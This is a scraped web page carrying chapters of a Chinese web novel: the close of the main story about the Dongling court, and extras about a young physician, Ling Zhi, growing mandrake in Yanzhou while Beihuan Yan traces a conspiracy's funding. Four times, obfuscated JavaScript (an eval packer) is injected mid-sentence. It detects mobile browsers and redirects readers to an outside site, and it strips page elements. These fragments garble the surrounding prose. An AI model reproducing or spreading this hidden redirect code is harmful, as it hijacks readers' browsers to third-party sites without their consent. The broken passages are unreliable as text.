“是哥哥去求的情。”北寰舞道,“如今事情已经了了,永承太子的关系网已经被哥哥与郭学林全部拽了出来。这些曾经或因为仇恨、或因为生计聚集到一起的人不过就是别人的棋子,身不由己。陛下开明,趁着许思大婚的时候,私下大赦了南雪,让她改名换姓重新开始。而且陛下也说了,时灵修完皇墓就可以回家了。陛下不需要活人殉葬。” “陛下圣明。”时均白望天轻叹,“我们能生在这东陵盛世,真好。” * 如福从来也没有想过自己做了那么多错事还能活着。 他从大理寺出来的时候,阳光正好。 他回头,看见了站在大理寺门口的许言。 自从恢复世子身份之后,许言上朝就不再穿官服。 他上朝都穿着绣着金龙的玄色世子朝服。 如福在牢里也略有耳闻,知道北寰言改回了皇姓,被封为安王府世子。 如福向着许言遥遥一礼。 许言微微向他点头,示意他上马车。 如福走的时候,望着这许都巍巍城墙,城墙上泛着古老的光。 他入宫十余年,始终没有参透宫墙之内那些尔虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495564|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我诈。 那里从来都不缺聪明的人。 他很庆幸自己最后做了一个正确选择。只有盛世之下,他才会有生机。 陛下同意放他,只是因为这盛世需要有人见证。 * 永延十九年的初冬,暮云峰来了一位客人。 许安归亲自出门迎接,看见一身湛蓝色薄衫的许景挚负手立于苍松下,眺望暮云峰下的云海。 许景挚听见动静,回眸,看见许安归深邃的眼眸,笑了。 “许都没事了?”许安归问。 许景挚不答,反而从身后拿出一壶梨花酒摇了摇:“走。跟许安桐喝酒去。” 许安归看到这酒,眼睛里就多了几分悲伤。二话不说,转身就往山上走去。 许久不来,许安桐墓前多了些许青绿。 许安归走过去蹲下,默默地清理。 许景挚才爬上来,气喘吁吁。 按照许安桐死之前的期许,他的墓边种着一颗梨树。 暮云峰这里四季如春,没有雪,却有四季盛开不败的梨花。 一阵微风袭来,花雨落了一地。 像是知道了有人来,他故意下的雪景,顽皮得很。 许景挚走过去,把那梨花酒倒在了地上,请许安桐喝。 许安归清理了墓前的青草,席地而坐。 许景挚也跟着坐下与许安归一起遥望山下的景色。 许安归安葬许安桐的地方,是整个暮云峰景色最好的地方。 暖阳初生,金灿如新。 “没有那三千匹种马,我还没有理由一直圈禁北寰双子,让对方放松警惕继续计划。”许景挚侧目看了一眼许安归,“这不是你的主意罢?” “她的主意。”许安归道。 许景挚点头:“我就知道。” “许安泽留下的人都清理干净了?”许安归问。 “差不多了。”许景挚道。 两人说完便沉默了。 内乱已平,接下来就是外患的事。 许安归道:“若要我带兵北伐,就来个信。我绝不推辞。” 许景挚大笑:“你还是歇着吧。这江山以后到底是要交到孩子们手上的。四郎许承长请命北伐,我许了。” 东陵的皇子们,未来可期。 许安归不再说话,只是静静地坐着,任凭山涧微风拂面。 “你说,”许景挚望着许安桐的墓幽幽地问,“我们如今完成了许家先辈的期许了吗? 许安归望着山涧云雾,缓缓道:“当世功过,后世之说。永延年如何,交给后人们评说罢。” 许景挚轻笑,仰头灌下一壶酒。 他坐在这山川深林间远眺东陵江山—— 山河千色,万江同流。 这盛世,要与天同寿才好。 —全文完— 255. 番外一 “凌姑娘,前面就到岩州城了。” 卫昭驱着马车,回头对身后坐在马车里的凌芷说道。 凌芷原本趴在马车里矮桌上看医书。一听卫昭说要到岩州城了立即挪了位置靠近车门,撩起车帘,站在马车上眺望前方。 “就是这里吗?” 凌芷站在卫昭身后,扶着他的肩膀,看着爹娘与安王、安王妃一起驻守过的城池。 卫昭看着岩州城入口两边黝黑如刀削一般的峭壁,轻叹:“是啊,就是这里。安王殿下与王妃一起书写传奇的地方。” “哎,卫叔叔,停下。”凌芷看着两边峭壁,眼睛直泛光。 卫昭不明所以,停下马车,凌芷跳下马车,往左侧峭壁跑去。 她蹲在山石边,从随身携带的小布兜里拿出一根竹签,好一会儿才站起身,走回卫昭身边给他看:“卫叔叔你看!这里的红头蜈蚣竟然有这么长!” 凌芷用一根竹签弯曲成拱桥的形状,竹签两头分别插在蜈蚣的头尾两个地方。 凌芷抓到的这两只蜈蚣,居然有她小臂的长度。 她这举起来的时候,蜈蚣的脚还在空中乱动。 这蜈蚣很有特点,全身黝黑,只有头部一节是红色的。 卫昭刚想说什么,就看见城门方向有人策马而出。 一阵尘烟之后,那马在卫昭与凌芷的马车前停下,马上下来一个身着青衣对襟长袍的年轻人,对着凌芷就是一礼:“卑职岩州医官齐少轩,奉旨拜见凌姑娘。” 凌芷眨了眨眼睛,忍不住打量着这个来接她的人—— 这人面相看上去年纪不大,最多三十左右。长相斯文,没什么特点,是丢到人群里就看不见的普通。 但这样的年级能够担任岩州城医官…… 凌芷忍不住惊叹:“齐医官好年轻。” 齐少轩似是已经习惯听人这么说,笑了笑道:“再年轻也没有凌姑娘年轻罢?” 凌芷听了脸畔红了一圈,连连摆手:“我、我还不算是医师,我连医书都还没读完呢!” “凌姑娘不必妄自菲薄,”齐少轩目光落在凌芷手上的蜈蚣,“姑娘师承鬼医薛灿,对毒物了解无人能及,小小年纪就种出了曼陀罗这等草药。姑娘虽然没有开始行医看病,却已经拯救无数人于水火。” 第一次听到这么直白的夸奖,凌芷不好意思地抓抓后脑勺:“我还不知道在这里能不能种出曼陀罗呢。” 齐少轩轻笑:“凌姑娘远来是客,若是姑娘不嫌弃,今日由卑职做东,请姑娘吃顿便饭,给姑娘接风洗尘。” 凌芷下意识求助地看向卫昭。 即便是在许都待了那么久,她也还没有真正开始单独应酬什么事。 卫昭见状接过话头:“齐医官有所不知,凌姑娘出许都前,陛下有交代,说凌姑娘到了岩州城,就要先去陵中储备军营的药田里准备春种事宜。再过些时日就开春了,许多事若是不早早地布置下去,恐怕今年的药材实种就要耽搁了。” “对对!”凌芷连连点头。 齐少轩表示理解,欠身一礼:“御医院也给卑职下了命令,让卑职跟着凌姑娘,好好学习曼陀罗种植术。姑娘有什么需要,岩州城医馆会不予余力帮助姑娘。” “多谢齐医官。事不宜迟,我们快去军营罢!” 凌芷道完谢,爬上马车。 齐少轩也上了马,跟在马车边上一起前行。 凌芷坐在马车里,趴在车窗上问齐少轩:“齐医官是主管岩州城医馆的医官吗?” 齐少轩侧头回道:“是。” 凌芷眼睛放光:“那齐医官的医术肯定是岩州城医馆里最高的吧?” 齐少轩眼眸敛了光,低声回道:“姑娘误会了。卑职能成为岩州城医馆的管事医官,并不是因为卑职医术多么高明,而是岩州城医馆的老医官们,都去了边境的医馆。独留我们这些年轻的医官在这里继续修炼医术。” “哦……” 原来是这样,凌芷鼓了鼓嘴。 齐少轩倒是对凌芷抓的东西很感兴趣,道:“方才我看姑娘抓了一对红头蜈蚣。” 凌芷连连点头:“这蜈蚣是岩州城的特有的毒虫。我来之前师父就跟我交代了,让我在这里看见了就给他抓点雌红头蜈蚣,把它的头部的毒素提出来,给他带回去!” 蜈蚣哪怕在正统医学也是入药比较久的药材。 岩州城的红头蜈蚣毒性出了名得烈,凌芷的师父想要一些红头蜈蚣的毒素倒也在情理之中。 齐文轩有心与凌芷闲聊几句拉近关系,可凌芷现在压根就没有心思跟人闲聊。 这是她第一次自己出远门,即便是有卫昭跟着,她的心里也惴惴不安。 她手下意识地压着胸口北寰言给她的那个小锦囊,暗暗地给自己打气。 卫昭驱着马车,刚进岩州城没多久,凌芷的马车周围开始陆续有不少女子聚集。 那些女子有些胆子小的,站在远处捂住口鼻盯着齐少轩,跟边上的闺房密友切切私语。胆子大些的,则是直接上前跟齐少轩打招呼,甚至还跟着齐少轩的马走了好远。 凌芷看着奇怪,放下车帘,爬到马车门口,凑到卫昭的身边,小声问:“卫叔叔,这里的女子怎么这么奇怪啊?” 卫昭侧目看向凌芷:“怎么?” 凌芷蹙眉小声道:“她们怎么这么喜欢找齐医官说话啊?她们这么闲,都没事做吗?” 卫昭轻咳了一声,回头也小声地问凌芷:“凌姑娘……没觉得齐医官他……很俊美吗?” 凌芷一脸疑惑,连连摇头。 啊? 难道在这些女子眼里,这齐医官很好看? 好看吗? 凌芷转头重新打量了一遍骑马的齐少轩。 眼睛没有言哥哥好看,鼻子没有言哥哥高挺,下巴有些肉,也不似言哥哥那般干净利落。甚至头发都没言哥哥的黑直。 这……能算是好看吗? 怎么感觉这人都没有哥哥好看? 齐少轩发觉凌芷在盯着他看,他也不回避,转过头来,对凌芷微微一笑。 一时间周围尖叫声此起彼伏。 凌芷只觉得这些人聒噪,赶紧缩回脑袋,拿出自己的种植手记,一边用手捂住耳朵,一边温习。 卫昭看着凌芷的反应,只觉得好笑。 说她情犊未开吧,她有一个放在心里的人。 说她情犊初开吧,好似她对齐少轩这样俊朗的男子不感兴趣。 齐少轩看着凌芷对他唯恐避之不及的样子,脸上露出了疑惑的表情。 * “不是,我就弄不明白了。我们俩奉密旨来陵中,为什么一定要跟着凌芷那个小丫头啊?”凌信翘着腿坐在马车上,一脸不悦地从车窗望着前面凌芷的马车。 “虽然盛泉的事情已经了结了,但他利用永承太子的旧部布局这事还没结。”北寰言拿着笔,对照着藏息阁给的消息,把手上名单的人名一个一个划掉,“这些人今日能被盛泉利用,明日就能被他人所用,陛下的意思是斩草除根。” “得了吧,话说得冠冕堂皇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508507|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌信睨了北寰言一眼,“你就直接承认你不放心凌芷一个人来陵中,又不会少块肉。” 北寰言薄唇紧抿,耳根红了一片。 凌信把手放在头上枕着,一脸鄙夷:“我看你答应凌芷让她出来游医答应得那么爽快。还以为你当真是不在乎她安危。没想到她前脚出了许都,你后脚就跟陛下自请,往陵中查永承太子旧部的案子……” “啊——齐少轩真的很好看啊!啊——” 凌信的话,被一阵尖叫声打断。 他愤愤撩开车帘这才看见几乎整条街的女子都在骚动。 有女子走在马车边,毫不忌讳地谈论齐文轩:“姐姐,齐医官虽然已经三十二岁,可他还未成婚,姐姐若是喜欢,可以找媒人上门说媒呀!” “你别胡诌,”旁边的女子害羞地拿手帕捂住脸,“我看是妹妹想嫁给齐医官才是。” “姐姐你怎么这么说妹妹……” 两人打闹着跑开了。 凌信听得一脸疑惑:“那个齐少轩是什么人?怎么这么多风流债?” 北寰言掏出一封藏息阁的信封递给凌信:“岩州城医馆的医官。” 凌信缩回头,接过来拆开看了一眼,上面密密麻麻地写着齐少轩成为医官的这些年在岩州城医治的经历。 “嚯,三十二岁就成了岩州城的首席医官……”凌信看着信封上齐少轩医治过的病,直翻白眼,“单看这些,他也没什么过人之处。” 说着凌信挑眉,看向前方骑马的齐少轩,一脸不屑:“好像只有那副皮囊能治百病。” 北寰言听凌信这么说,终于抬起头,凑到车窗前,看了一眼齐少轩。 正巧看见他微笑着,侧目往凌芷的马车上看。 北寰言难得打量了齐少轩十息的的功夫,才坐回来,继续低头看手上的名单。 凌信看见凌芷身边多了一个招蜂引蝶的男子,莫名其妙地烦躁起来,道:“凌芷去陵中储备军营种药,住在军营里的医馆。那我们住哪?” 北寰言道:“我们去城里找一家客栈住下。” “啊?不住官驿?”凌信睁大了眼睛,“我身上可没带银子。” “不用你出。”北寰言对外面驱车的流风道,“流风,进城以后随便找一家客栈。” 流风应了一声,继续驱车前行。 “其实我觉得我们不住官驿,也可以住军营。” 凌信到底是放心不下凌芷。 北寰言却道:“凌芷明里有卫昭跟着,暗地里小舞还派了些暗礁保护她。再者凌芷是来推广曼陀罗的种法,做的是一件利国利民的好事,军营里的那些将士们自会着重看着她。倒是我们这次奉密旨来陵中查永承太子的旧部,危险重重。那些人消息灵通得很,我们从许都出来的事,恐怕早就传遍了整个陵中。现在不知道暗地里有多少人想让我们死。只有我们远离凌芷,这些事才不会波及她。” 凌信深吸一口气,知道北寰言这话说得不错。 但他只擅长看病与打架,查案子这事,只能靠北寰言。 凌信撇着嘴,嘟囔道:“永承太子的旧部众多,即便是你有藏息阁黑市帮你调查,恐怕也是大海捞针。” “确实,这样查的确像大海捞针。”北寰言看了一眼凌信,神色淡然,“可我若没法子,就不会跟陛下请旨来陵中了。” “嗯?”凌信忽然来了精神,“你有法子?你有什么法子,说来听听!” 对于还没把握的事北寰言一向不会多话。 他只道:“我们先去住下再说。” 256. 番外二 北寰言与凌信住进了岩州城的朋来客栈。 这客栈在岩州城东北角,在岩州城的边缘,城外一里就是陵中储备军军营。 四个人,进客栈开了三间房。 流云流风轮流在北寰言身边值守,两人共用一间房。 流云流风把主子的行礼放入屋内,后脚北寰言就要带着流云流风出门。 只是走了两步,北寰言感觉胸口一阵闷痛。 他扶着门,脸色惨白的闭着眼,大口吸气平稳心境。 “主子!” 流云流风齐齐唤了一声。 凌信闻声推门而出,看见北寰言扶着门,当即对着北寰言就是一顿吼:“让你在家多养一段时间再出远门,你死活不干!现在好了旧疾复发。” 北寰言忍着痛,看了凌信一眼,笑得勉强。 “还笑!”凌信走过去,拉起北寰言的胳膊就摸脉。 北寰言不躲,任由凌信给他摸脉。 他们从许都来岩州城,一路上舟车劳顿,北寰言才养好的身子,又有了疲态。 凌信见他不把自己的身体当回事就气不打一处来,甩开北寰言的手,厉声呵道:“从现在开始不许出门,你先在床上躺一段时间,吃我几幅药再说!” 北寰言垂眸蹙眉不言。 好一会儿,他觉得胸口的闷痛感消失了,才直起身:“我没事……” 直起身就看见,凌信眼睛睁溜圆,瞪着他。 北寰言只能尴尬一笑,无奈改口:“好……先养两天,再出门。” “两天?!我说你能出门了,你才能出门!”凌信恶狠狠道,“你这身子要细细养着!原本就是伤筋动骨的事,这才养了多久就不远万里跑到岩州城来!我是懒得管你,可你若是有个三长两短,我那个好哭包妹妹,不得把整个许都哭得都给淹了才算完!” 北寰言知道凌信担心他,不欲与他争辩,只能轻叹一声,老老实实回房间歇着。 在门口守着的流云笑道:“我跟流风都不敢劝主子,还是凌公子有办法。” “一二个,都是不省心的。” 凌信没好气地丢下一句话,去楼下找掌柜的借笔墨写方子,准备去药铺抓药给北寰言煎了喝。 北寰言回屋,临窗而坐。 他推开窗户,望着对面屋檐上正在消融的冬雪,若有所思。 流云去楼下找店家要了炭盆与热茶上来,流风取来黑狐大氅,给北寰言披上。 “流云,”北寰言拉紧大氅,“你帮我跑一趟藏息阁,跟他们说,每日给我送一封凌芷种药的进度。有关于凌芷的一切,事无巨细。” “是。” 流云领命,放下茶水,转身就去办事。 * 凌芷一行人进入陵中储备军的军营。 冬雪才有化的迹象,整个军营道路已经被将士们扫开了。 镇东亲自带人在军营门口迎接。 他看赶车的人是卫昭,立即上前对着卫昭一礼:“卫将军。” 卫昭下了马车,连连摆手:“镇东将军不必这般称呼我,我已经不是南泽将军了。” “卫将军哪里的话……” 两人几句寒暄之后,凌芷才从马车里探出头,唤了一声:“东叔。” 镇东看见凌芷,顿时眉开眼笑:“凌姑娘都长这么高了!我前些年回暮云峰,凌姑娘才到我的腰。” 凌芷哈出一口白气,鼓着小嘴:“我都十四了。” 镇东看着凌芷的小表情,哈哈大笑。 镇东有两个儿子,没女儿。他一直想着要一个女儿,看见凌芷这样的小姑娘就欢喜得很,可他毕竟是陵中储备军统领,军营里事多,不能一直陪着凌芷。 他当即就从身后拉出一个寸头小子,推到凌芷面前,朗声道:“这是我小儿子镇怀。比凌姑娘大两岁。他自小长在陵中军营里,对军营了如指掌。凌姑娘在这里的这些日子,就让我小儿子给凌姑娘当军营里的向导。凌姑娘有什么需要我们陵中储备军办的事,跟这臭小子说,他自会去办。姑娘是奉旨来陵中储备军军屯来培育药材,我们全军上下全力支持。” 镇怀是那种一眼看去就是将门少年的模样。 他身着陵中储备军的军装,一身在军营里养出来的浩然正气。手里抱着剑,蹙着眉头,死死地盯着凌芷。 他对父亲让他这段时间一直跟着这个凌芷这个小丫头片子,一肚子怨气。 一直不满地回头瞪自己父亲。 镇东才不管他有没有怨气,看镇怀回头瞪他,当即就扬手装作要捶他的样子。 镇怀下意识地躲了一下,只能鼓着嘴忍下。 凌芷不懂为什么镇怀看她一副很不爽的样子,可她还是慢吞吞地依着许都姑娘们见人的规矩,朝着镇怀福了福身子,认真地说:“怀哥哥,这段时间有劳了。” 镇怀两眼一翻,敷衍地回了句:“哦。” 卫昭在一边看着凌芷与镇怀两个小人直笑。 镇东跟交代完事,对站在凌芷身后等候差遣的齐少轩抱拳一礼。 齐少轩作揖还礼,镇东便翻身上马,带着副将直奔校场。 镇怀虽然有一万个不乐意,但这是父亲交代的事,只能耐着性子做。 “跟我来。”镇怀头也不回地翻身上马。 卫昭看向凌芷道:“凌姑娘跟我一起骑马吧。冬雪刚融,这军营里的路泥泞难走,不比外面平坦。” 凌芷点头。 卫昭从马车上取下马具给马套上,把马车留在了储备军营门口,骑马带着凌芷往陵中储备军军屯去。 培育曼陀罗的军田选在距离岩州城医馆的一里的地方。 镇怀把凌芷带到专门种植曼陀罗的军田,指着前面一大片空地道:“这就是用来种药的军田。大概有一亩。” 凌芷坐在马上看军田看得出神。 齐文轩侧头问:“凌姑娘可有落脚的地方?” 凌芷回过神,愣了好一会儿,才摇头。 齐文轩了然,温声道:“凌姑娘若是不嫌弃,就委屈一下,住在医馆后面的医官值班所罢。” “好。”凌芷点头。 她对睡觉的地方从来不挑,困极了在哪里都能睡着。 薛灿在神医谷后山盖了一间草屋破得很,凌芷在薛灿身边学晚了,困得不想走路,经常宿在薛灿的破草屋里。对她来说睡觉的地方能遮风挡雨就行。 齐文轩做了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13520388|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请的姿势:“凌姑娘,这边请。” 镇怀奉父亲之命要一直跟着凌芷听她差遣。凌芷要去医馆落脚,他就必须跟着去。 镇怀闷闷不乐跟在凌芷身后。 岩州城医馆离军田很近,只有一里的距离。 凌芷想,这块用来种植曼陀罗的军田大概是东叔与齐医官商量过之后,专门给她选的地方,方便她从医馆来军田。 岩州城医馆的布局其实跟皇城御医院御医院很像,都是一个开方子、抓药、称药的大厅,带一个炮制药材后院。 唯一不同的地方是地方医馆里不仅有男医官还有医女。 大家手上都有各自忙的事,谁都没注意齐文轩带着三个人从侧院进了医馆。 齐文轩边走边跟凌芷介绍:“医馆里有上百位在学的医官与医女。” 齐文轩带着凌芷跟医官里的医官医女们见礼。 凌芷好奇地左顾右盼。 最后齐文轩带凌芷在侧院晒药的架子前找到一位医女。 这医女看见齐文轩来,朝着齐文轩一礼。随后目光落在凌芷身上,眼神渐冷。 齐文轩对凌芷介绍道:“这位是主管医女的女医官,紫草。以后就由我们两个给凌姑娘打下手,一起种植曼陀罗。” 凌芷闻言轻笑:“紫草,紫医女的名字是药草。” 紫草侧目,并不搭话。 一时间气氛尴尬至极,齐文轩连忙打圆场道:“紫医女性子冷淡些,凌姑娘不要往心里去。” 凌芷当然不在意,连忙点头。 齐文轩道:“紫草,你带凌姑娘去后院职房住下罢。” 紫草看了齐文轩一眼,才对凌芷道:“跟我来。” 凌芷胆子小。从小师父宠着她,安王府得了什么赏赐只要凌芷能用能吃能玩能穿的,北寰洛都让人给她送去一份。 在家里有凌信在前面学医吃苦,她懒惰点也没人逼她。 从暮云峰出来以后,身边的人都看她小,什么都照顾她。 只有这个医女对她冷淡,一副不好相与的样子。 看见医女这样,凌芷下意识地鼻子一酸,眼睛红了一圈,想要哭。 这个念头刚冒出来,她立即吸了一下鼻子,止住了哭的想法。 言哥哥受伤就是因为她总是一直想要依靠别人。她决心出来是为了锻炼自己,修炼医术。 只是遇见的人不和善,就想退缩,这可不行。 凌芷抓紧贴着心口放的锦袋,慢吞吞地靠过去,跟着紫草往后院职房去。 医馆的后院都是炮制的草药的味道。 有些草药要经历九蒸九晒这种繁杂的炮制程序才能成药,职房原本就是给这些炮制草药的医官临时休息用的地方。 “这一排都是医女的职房,你选一间罢。”紫草指着院子前面一排房子,淡淡说道。 凌芷哪敢挑三拣四,随便指了一间右手边最末尾的职房。 紫草蹙眉看她选了房间,想说什么欲言又止,最后还是从衣袖里拿出一把钥匙,递给凌芷头也不回地走了。 凌芷没受过这种待遇,一直忍着想哭的冲动,自己拿着钥匙开了职房的门。 刚进来她就有些后悔了。 257. 番外三 岩州城医馆的职房都是一张简单的炕床,旁边放着一个柜子,左侧有屏风隔出净房。 有炕床,有地龙,屋里原本不会冷。 可凌芷选的是末尾的一间房,右边没有房子,即便是有炕床,外面在化雪,这屋里的温度也比其他房间的温度低不少。 她一进来才反应过来这房间选得不好。 但看方才紫草对她的态度,她也不敢去找紫草说自己想换一个屋子。 齐少轩带着镇怀与卫昭去往最后一排医官的职房安排他们歇下。 回来的时候,看见凌芷的房门开着,便去轻轻叩门。 凌芷回头。 齐少轩看见凌芷眼睛红了一圈,打量了这屋子一圈,蹙眉道:“紫草怎么安排你住在这间屋子?这屋子右侧没有其他屋子的地龙保暖,比其他屋子冷多了。卑职去找她。” 说罢,齐少轩转身就往前厅去。 “哎……” 凌芷伸了伸手,到底是没去追齐少轩。 很快紫草就一脸怒意来了。 她怒目圆睁,进屋就厉声道:“这屋子是凌姑娘自己选的,怎么前脚选了,后脚就后悔?后悔就罢了,为何还要跟齐医官告状,搞得好像是我苛待你一般!” 凌芷连连摇头:“不是……我没……” 紫草根本不管凌芷说什么,只是又丢给她一把钥匙,头也不回地走了。 凌芷红着眼睛,上前捡起地上的钥匙,小声道:“我没有……可我确实也没有拦住齐医官。” 方才凌芷心里还有一丝窃喜齐医官能帮她换个房间,现在紫草回来对她一顿怒吼,让她知道了,有些事是不能抱着侥幸心理去做的。 凌芷又吸了吸鼻子,揉了揉眼睛,喃喃道:“不能哭。我不会再让言哥哥与哥哥担心了。” 凌芷拿着新的钥匙,想了好一会儿,才一个房间门一个房间门的试钥匙。 这次紫草给她的钥匙,是正中的屋子。 屋子比方才末尾的屋子都大。不仅大,里面的摆设也比方才的屋子多。 屋里烧着地龙,一进屋子,没一会儿凌芷鼻尖就冒汗。 原来…… 紫草原本给她安排的房间,竟然这么大。 不仅大,炕上还铺好了床铺。 凌芷眼眸微微颤抖,沉思片刻,她忽然深吸一口气,转头就往前厅去。 岩州城的医馆之建在陵中储备军军营附近,主要接待的病患就是储备军营里的将士们。储备军营里上万人每天医馆里来看病的将士络绎不绝。 方才齐文轩带凌芷从侧院进来,现在凌芷自己跑到大厅,才发觉岩州城医馆比她想象得还要大。 陵中储备军营的病人比御医院多得多,所以这里大厅比御医院的大厅建得更宽敞。 凌芷看见紫草在药柜里抓药,连忙跑过去,跟在她后面想要解释:“紫医女……紫医女。我、我……” 紫草看都不看她,一直从排着队的柜台接药方过来,到后面的柜台去抓药。 凌芷见没机会跟紫草说话,来抓药的人络绎不绝,她鼓着嘴想了一会儿,也跑到柜台前接药方,去后面的药柜抓药。 紫草看见凌芷也去抓药,愣了一下,随即一把把她拉过来厉喝道:“你在干什么?” 凌芷吓得缩了一下脖子,才小声回道:“我想帮忙。” “你有御医院的行医许可文书?!”紫草问。 那是什么? 凌芷摇头:“没……” “没有你来添什么乱?!”紫草根本不给凌芷面子把她推出了抓药柜台。 凌芷第一次知道,原来想要在医馆行医需要御医院的文书。 凌芷咬着唇,垂头丧气地往后院走。 还没出前厅的门就看见齐文轩手里抱着一摞书从侧面来。 齐文轩见凌芷一脸沮丧,觉得奇怪,走到她身边问:“凌姑娘怎么了?” 凌芷抬头望着齐文轩,慢吞吞地说:“我想帮紫医女她们抓药,但是我不知道在医馆行医,需要御医院的行医许可文书。所以……” 凌芷不想在背后说紫草的坏话。 齐文轩看向药柜方向,看见紫草慌忙地收回目光,把药包好。 齐文轩低头看向凌芷,柔声道:“凌姑娘既然是奉旨来准备开春的种药事宜,不必在这些小事上花心思。正巧卑职有事找你,卑职这里有一些历年培育曼陀罗的栽种手册,东陵各地的医馆一直都有培育草药的任务,我们培育草药的任务是培育曼陀罗,但从未成功过。凌姑娘既然培育成功了曼陀罗,许多跟栽种曼陀罗细节需要姑娘帮卑职解答。再者播种的各项事宜还需要细细商讨,安排下去。” 齐文轩做了个请的姿势:“我们找个地方坐下来慢慢商议罢。” “哦,好。” 凌芷鼓着嘴,回头看了一眼在药柜前面忙着抓药的紫草,才跟着齐文轩一直往后院职房去。 * 十二月末的这几日化雪,外面格外冷。 凌信让北寰言在客栈里面养一段时间才能出门。 北寰言知道凌信是为他好,也不争,一天三遍吃着药。 他虽然不能出门,可藏息阁的消息一直没断过。他让流云去把陵中黑市往来账目搬来屋里,每日围着火盆,披着大氅坐在矮桌前,细细查阅。 北寰言在屋里看了五日账簿,第六日凌信终于忍不住,把汤药放在北寰言面前,好奇道:“这几日你足不出户也没闲着,藏息阁的消息跟流水一样送到你面前。你到底在查什么?” 北寰言垂眸,拿起凌信的药,吹了几下,抿了一口试了试温度,觉得合适便一口闷了。 药苦得他直皱眉。 好一会儿才缓过劲来,轻声道:“你还记得宫里盛泉刺杀景叔时候的事吗?” 凌信摸了摸下巴:“你是说,盛泉假死的事?” 北寰言点头,回忆道:“盛泉入宫多年,在成为皇后的随侍内官之前,几乎都在做宫里最底层的工作。这样的工作得不到主子赏识,就不可能有额外的收入。 “但是从盛泉似乎从设局开始,就有很多银钱。当时安排宫宴的管事内官收受的银票居然高达一千两之多。 “盛泉虽然利用池修城陷害柳家,可他当时已经深居宫中,不可能到千里之外拿到柳家巨大的家产。 “那么,盛泉用来活络、收买永延太子旧部的那些银钱是从哪里来的呢?” 凌信听懂了,捏着下巴:“你是想追查那个在背后一直拿银钱支持盛泉的人?” 北寰言点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538805|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可这样,凌信就更疑惑了:“追查给盛泉银钱的人跟陛下让你查的永承太子旧部的事有什么关系?” 北寰言敛眸,轻声回道:“我有个猜想。我觉得那个一直给盛泉银钱支持的人手上,有一份永承太子旧部的名单。不说全部,最少有很大一部分永承太子的旧部在那个名单上。” 凌信蹙眉:“这你是怎么联系到一起的?” 找给盛泉银钱的人,与彻底铲除永承太子旧部这件事,在凌信看来,完全是两件事。 “盛泉在宫里,不能随意出宫,不仅如此,他每次出宫回宫身上都要经过严密的搜查。他不可能亲自用银子调动永承太子旧部。”北寰言笃定道,“他需要一个在外能自由活动的人,帮他把银子给到那些人手上。盛泉布的局里,无论是南泽郡主还是御医院里的刘谦,都是他最后布局里要舍弃的人。所以南雪与刘谦虽然在这次事件中与盛泉合作,但他们不可能是帮他在外面活动的人。 “纵尚就更不可能了,他的心思与野心比南雪、刘谦更加深沉,盛泉用他,也必定会防着他。 “我们虽然把这案子破了,但是这个藏在宫外帮盛泉活络人脉的人,还没有查清楚。 “盛泉布局,银子要给哪些人,每次给多少,帮他办事的那个人一定会有一个类似于账簿的东西,做起事来才不容易错漏。 “我想试试看,看能不能查出那个人是谁,找到那本账册或者名单。” “哦——”凌信这才恍然大悟,但他仔细想想又觉得这事悬之又悬,“我们姑且假设有这么一个人存在,也真的有你想象中的那个账本或者名单,可东陵之大,你为何偏偏要从陵中查起?” 北寰言从衣袖里拿出一张银票放在桌上,指着银票的一角,银票上赫然写着“岩州城通达银号”。 “这是从哪里来的?”凌信睁大了眼睛。 北寰言道:“是从那个上吊自杀的内官家里搜出来的。” 凌信看了一会儿,摇头道:“盛泉花了那么长的时间布了那么大的局,会想不到你会去搜那人的家?这或许是一个障眼法?他不是最擅长这个?” 北寰言点头:“确实。但只要有一点线索,都有查的必要。” 这话说也不是全无道理…… 凌信心里嘀咕了一句,拿起碗要下楼。 他若有所思地走到门口,又折过身来:“不对。不对不对不对。” 北寰言抬眸看着他。 “我怎么想都觉得你这话有问题,”凌信望着北寰言,“以我对你的了解,你肯定不会因为这么一个虚无缥缈的证据,就去跟陛下请旨来陵中查案。” 